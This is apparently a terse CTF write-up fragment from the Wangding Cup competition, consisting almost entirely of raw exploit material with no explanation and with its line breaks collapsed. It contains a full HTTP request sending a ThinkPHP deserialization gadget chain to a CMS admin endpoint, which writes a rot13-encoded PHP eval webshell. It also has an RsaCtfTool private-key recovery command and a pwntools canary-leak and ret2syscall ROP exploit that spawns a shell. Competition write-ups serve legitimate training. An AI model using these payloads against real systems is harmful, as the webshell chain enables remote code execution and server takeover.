第四届网鼎杯网络安全大赛-玄武组部分WriteUp

POST /login.php?m=admin&c=Field&a=arctype_edit&_ajax=1&lang=cn HTTP/1.1Host: xxxContent-Length: 987Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Wayland like X11; FreeBSD; Linux x86_64; en-US; rv:131.0esr) Gecko/20160900 Firefox/131.0esrContent-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://xxx.comReferer: http://xxxx.com/login.php?m=admin&c=Field&a=arctype_edit&id=546&lang=cnAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=2f61be676dee8f47f423fde9b3ef2e5d; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=switch_map%7CIndexsec-ch-ua-platform: "Linux"sec-ch-ua-mobile: ?0Connection: keep-alivetitle=ceshi&name=ceshi&old_dtype=region&dfvalue=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A6%3A%22append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A5%3A%22error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A5%3A%22query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A6%3A%22styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A6%3A%22handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A7%3A%22handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A3%3A%22tag%22%3Bs%3A1%3A%22t%22%3Bs%3A7%3A%22options%22%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A68%3A%22php%3A%2F%2Ffilter%2Fstring.rot13%2Fresource%3D%3C%3Fcuc+%40riny%28%24_TRG%5B_%5D%29%3B%3F%3E%2F..%2Fa.php%22%3B%7D%7D%7D%7D%7D%7D%7D%7D&old_dfvalue=1&remark=&typeids%5B%5D=0&channel_id=-99&id=xxx&old_name=ceshi&dtype[]=region

http://xxx.cn:45783/login.php?m=admin&c=Field&a=channel_edit&channel_id=-99&id=546&_ajax=1

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAHqSISYfkwuFeX20KTtyDhpG/nmyMK5MrmjKILUbLxpEtgw+4i0sIR4sWtNpGSVAMLZ4YO8EY6p7FBw0z4u0ALo2qC8I763lfKlNXH1WHWexRHd72MEpxpOzt79ukabEr7OWpRdDEISj3MyEalVNYGTKMt/TQWR/dnFd+TsDB2aRDBQQq9VfQhZ9Z864huQ4Du8PKg42plzfRPJsEhe4JpE0GW5QRap9ZNHM/4fSSHJlwqbBqGdeIjw+U7zY/RokxK979+f7SN6qMc9FzAUTnbwFGLpZe4ohz4pPJNrmRKfERTSKDoXw1krdDZuEZzCgiprpR8WqLvGoDXhYstcrgWU=

python3 RsaCtfTool.py --publickey ./a.pub --private

from pwn import *io = process('./wd')#io = remote('',)context(log_level = 'debug',arch='amd64')pop_rdi = 0x40213fpop_rsi = 0x40a1aepop_rdx_rbx = 0x485febpop_rax = 0x450277syscall = 0x41AC26#leak canaryio.recvuntil(b": ")canary = int(io.recvline(), 16)io.recvline()#jump hidepayload1 = b"a" * 0x28 + p32(1) + b"a" * 0x10io.send(payload1)io.recvline()io.send(b"0") io.recvline()io.send(b"b" * 0x70)  io.recvline()payload = b"a" * 0x64 + p32(0x11111111) + b"a" * 0x90 + p64(canary) + b"a" * 0x8 + p64(canary) + b"a" * 0x8##ret2syscallpayload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x4c5000) + p64(pop_rdx_rbx) + p64(0x8) + p64(0) + p64(pop_rax) + p64(0) + p64(syscall)payload += p64(pop_rdi) + p64(0x4c5000) + p64(pop_rsi) + p64(0) + p64(pop_rdx_rbx) + p64(0) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall)io.send(payload)sleep(0.8)io.send(b"/bin/shx00") io.interactive()